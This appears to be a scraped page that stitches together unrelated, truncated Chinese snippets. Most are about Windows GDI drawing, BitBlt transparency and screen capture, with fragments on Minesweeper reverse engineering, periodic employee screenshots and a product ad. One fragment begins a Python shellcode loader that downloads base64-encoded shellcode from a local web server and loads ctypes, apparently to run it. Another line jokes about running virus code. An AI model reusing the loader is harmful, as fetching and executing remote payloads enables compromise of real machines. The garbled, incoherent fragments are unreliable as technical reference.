网上下载的图片,有一些会有水印。水印的实现可以用透明贴图来做。透明贴图就是让两张图片合并的时候,重叠的部分中使一些颜色不显示,从而达到透明的效果。 如果用GDI来实现的话,具体方法步骤可多可少,少的可
CDC::BitBlt函数,应用在GDI的绘图中,有时候我们需要显示的位图有一部分是透明的,例如在棋类游戏中,棋盘图片和棋子图片融合的时候,棋子边缘应该是透明。
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相比于 Windows 2000 引入到 GDI+ 中的 BitBlt 方法截取窗口图片,Windows XP 时也引入了 PrintWindow 方法来专门截取窗口,截取的原理也不同。
DWORD dwRop //指定光栅操作码,这些代码将定义源矩形区域的颜色数据,如何与目标矩形区域的颜色数据组合以完成最后的颜色。
hdc:现有设备上下文环境的句柄,如果该句柄为NULL,该函数创建一个与应用程序的当前显示器兼容的内存设备上下文环境。
在 Windows 上有 GDI+ 来操作位图,不止能完成很多的位图操作,还提供了与 Win32 窗口的互操作,可以截到 Win32 窗口的图片。
[in] Handle to the destination device context. 目标设备HDC
三、补充 装载位图的方法其实很多,也不需要第三防库 1.从资源中装载,很简单: LoadBitmap(hInstance,(LPCTSTR)IDB_BITMAP1);
BOOL BitBlt(int x, int y, int nWidth,nHeight, CDC* PsrcDC, int xSrc, int ySrc, DWORD dwRop);
2、通过CDC选中,再用bitblt拷贝或者AlphaBlend融合到目标CDC上。
Windows上的图形绘制是基于GDI的, 而Direct3D并不是, 所以, 要在3D窗口中显示一些Windows中的控件会有很多问题 那么, 有什么办法让GDI绘制的内容在3D中显示出来?反正都是
Windows上的图形绘制是基于GDI的, 而Direct3D并不是, 所以, 要在3D窗口中显示一些Windows中的控件会有很多问题
由于最近一直在搞GDI(GDI+)和图片处理的东西,怕自己忘记(其实已经忘得差不多),就仿照网上的BITMAPINFO查看器,写了个东西。 工程下载地址:点击打开链接 运行效果如图: 虽然比较(很)难
没什么卵用,图一乐 代码 use windows_sys::Win32::{ Graphics::Gdi::{BitBlt, GetDC, ReleaseDC, SRCCOPY}, UI::WindowsAndMessaging::{GetSystemMetrics, SM_CXSCREEN, SM_CYSCREEN}, }; fn main() { unsafe { let width = GetSystemMetrics(SM_CXSCREEN);
Windows系统提供大量的控件供我们使用,但是系统提供的控件样式都是统一的,不管什么东西看久了自然会厌烦,为了使界面更加美观,添加一些新的东西我们需要自己绘制控件。
该函数对指定的源设备环境区域中的像素进行位块(bit_block)转换,以传送到目标设备环境。
已在项目中实现:http://hovertree.com/h/bjaf/76q5yeli.htm
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Hi,蜜蜡,又是我听歌宝听歌专员gongluck。 今天,继之前的GDI、GDI+两个实例之后,我有利用功能强大的CxImage做了个小小的图片查看器。CxImage可真是强大,简直可以让各种类型的图
本文通过分析扫雷游戏的实现逻辑,研究了其背后的算法设计,并利用OD分析工具进行了详细的步骤拆解。通过定位数据结构,我们成功获取了扫雷游戏所在的内存区域,并发现了其算法逻辑。通过分析得出,扫雷游戏的实现过程包括初始化、雷区生成、玩家操作及计算、以及绘制等关键步骤。我们还使用OD分析工具深入探讨了扫雷游戏的内存地址和算法结构,并给出了相应的解决方案。
启明云端基于Sigmastar SSD202D出品的分辨率为720x720的4寸超级智能面板应用于酒店,它集不同设备的功能于一身:智能网关、智能开关、空调面板、背景音乐面板、在线、离线AI语音等,可代替多个智能单品。操作便捷,交互出色,真正实现酒店的智能化、自动化,为客户带来全新的入住体验。
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2,跟进win10上分层窗口在开启dpi > 100%的时候绘制不正确的bug。原因不明,但创建个新bitmap和dc后,再
1,跟进http://www.zhangxinxu.com/study/201005/css3-solar-system.html卡慢问题。
int StretchDIBits(HDC hdc,int XDest,int YDest,int nDestWidth,int nDestHeight,int XSrc,int Ysrc,int nSrcWidth,int nSrcHeight,CONST VOID * lpBits,CONST BITMAPINFO * lpBitsInfo,UINT iUsage,DWORD dwRop); HDC:指向设备的目标环境句柄。
2,设置异常中断程序。程序内容就是当产生异常原因读写【禁止读写的内存】时,执行分配对应地址的内存,然后继续运行。分配内存应该考虑可能失败。
优势:Rust没有GC 效率和C++一样快 本贴子主要用于观摩和学习调用windows api,禁止用于某些用途
CImage 提供增强的位图支持,包括加载和保存采用 JPEG、GIF、BMP 和可移植网络图形格式的图像 (PNG) 格式。
大二时利用C++编写的点水果小游戏 程序代码总共3个文件,main.cpp Fruit.h Fruit.cpp 代码将在图片下面给出 至于讲解,由于过了一年多的时间,有点忘记了,但我会努力回忆并即时
在网上看到的一段程序,能够将用户窗体保存为PDF文件,特辑录于此,供查阅或方便有兴趣的朋友参考。
usingSystem;usingSystem.Drawing;usingSystem.C运维
python加载shellcode import base64 import ctypes import urllib.request # retrieve the shellcode from our web server url = "http://localhost:8000/shellcode.bin" response = urllib.request.urlopen(url) # decode the shellcode from base64 shellcode = base64.b64
windows系统中,抓取屏幕有很多方法,比较常用的是GDI和mirror两种方式,除此以外,利用ddraw和DXGI(windows7以上系统支持)方式也可以抓取屏幕。由于mirror的方式涉及到驱动底层,并且也不是所有系统都支持,这里不做介绍,着重介绍GDI, DDRAW和DXGI这三种抓屏方式,
可以用来运行一下,你的电脑可能会发生……但大家都知道,病毒是恐怖的,你可以做一些有趣的代码.
之前比较空闲,就尝试着做了个截图工具,功能还算实用。等以后有时间再研究V2.0。 这个项目都是用C语言做的,所以还算精简。 #include <windows.h> #include <stdio.h> #include "resource.h" #pragma comment(lib,"winmm.lib") HINSTANCE g_hInstance = NULL;//全局进程句柄 HWND g_hwndMain = NULL;//全局主窗口句柄 #define UM_SCREENCUT WM_U
#define SIDE_LEN 30 #define G_ARR_ROW (RECT_LOWER_Y/SIDE_LEN) #define G_ARR_RANK (RECT_LOWER_X/SIDE_LEN) //全局变量 int g_arrBackGround[G_ARR_ROW][G_ARR_RANK] = {0};//产生背景数组 void OnPaint(HDC hDC) { //创建兼容性DC(内存DC)--纸的编号 HDC mDC = CreateCompatibleDC(hDC); //创建兼容性位图--纸本身 HBITMAP hBitmap = CreateCompatibleBitmap(hDC,WND_WIDTH,WND_HEIGHT); //将DC与位图关联 SelectObject(mDC, hBitmap); //画方块 PaintSquare(mDC); //从内存DC到窗口DC传递 BitBlt(hDC,0,0,RECT_LOWER_X,RECT_LOWER_Y,mDC,0,0,SRCCOPY); //释放位图 DeleteObject(hBitmap); //释放DC DeleteDC(mDC); } void PaintSquare(HDC mDC){ int i = 0; int j = 0; //画矩形框 Rectangle(mDC,RECT_UPPER_X,RECT_UPPER_Y,RECT_LOWER_X,RECT_LOWER_Y); g_arrBackGround[2][4] = 1;g_arrBackGround[3][3] = 1; g_arrBackGround[3][4] = 1;g_arrBackGround[3][5] = 1; //遍历二维数组 for(i=0;i<G_ARR_ROW;i++) { for(j=0;j<G_ARR_RANK;j++) { if(1==g_arrBackGround[i][j]) {Rectangle(mDC,j*SIDE_LEN,i*SIDE_LEN,j*SIDE_LEN+SIDE_LEN,i*SIDE_LEN+SIDE_LEN);} }
需求1.有30~50台左右的无盘PC机windows7、windows10系统 需要5秒一截图(屏幕桌面操作)。需求2.要每年每月每日每时每人每账号截图。 第一步创建目录结构 # -*- coding: cp936 -*- from PIL import Image import time import os, win32gui, win32ui, win32con, win32api #获得当前系统时间的字符串 localtime=time.strftime('%Y-%m-%d %H:%M:%S',tim
前段时间做实验室项目,需要以报表的形式将数据展示给用户。首先想到的是visual studio自带的listview,用起来是比较方便,可是看着不美观,说白了,就是吸引力不够。于是,我想到了使用Alpha Blend来做一个半透明效果的表格。因为在今年2月份的时候,Alex Yakhnin做了一次名为《24 Hours of Windows Mobile Application Development: Creating Compelling and Attractive UIs for Windo
有趣的是,由于某种原因没有使用剪贴板监视的完整实现。剪贴板检查对于通过复制其他作业中的元素来捕捉学生在考试中剽窃是绝对显而易见的。
实现GDI透明的关键是 1、需要把内容画到一个临时位图上,同时保护好alpha通道。 2、在于把临时位图的数据和原位图做混合,而且不能改变镂空部分原位图的alpha通道,比如被DrawText修改过的镂空部分 步骤: 1.创建临时位图,临时DC,临时DC加载临时位图 2.对临时DC设置相关属性(来自原始DC的相关属性,如字体、画刷、颜色). 3.临时DC是否需要先复制原始DC的数据(很多函数如DrawText需要做反锯齿处理,反锯齿处理的关键是和背景色做混合,因此从原位图复制出数据也是很有必要的。需要做反
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G2D 驱动主要实现图像旋转/数据格式/颜色空间转换, 以及图层合成功能(包括包括alpha、colorkey、rotate、mirror、rop、maskblt) 等图形加速功能。
void ConvertBGRAtoRGBA(BYTE* data, int width, int height)
在Windows Mobile平台的应用程序开发过程中,如何处理屏幕方向改变对程序带来的影响是一个重要的问题。Allen Lee的文章《WM有约(四):处理屏幕旋转》中讲述了如何使用Mobile Client Software Factory中的OrientationAware控件来处理屏幕方向改变,好处就是我们不用添加任何代码。在我之前的文章《Docking and Anchoring Controls on Windows Mobile》和《创建Windows Mobile上兼容性好的UI程序》
#1、获得应用窗口句柄 hwnd=win32gui.FindWindow(0,“窗口名字”)
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本例中将涉及到对话框标题栏的自绘,双缓冲位图的显示以及位图按钮类的使用。
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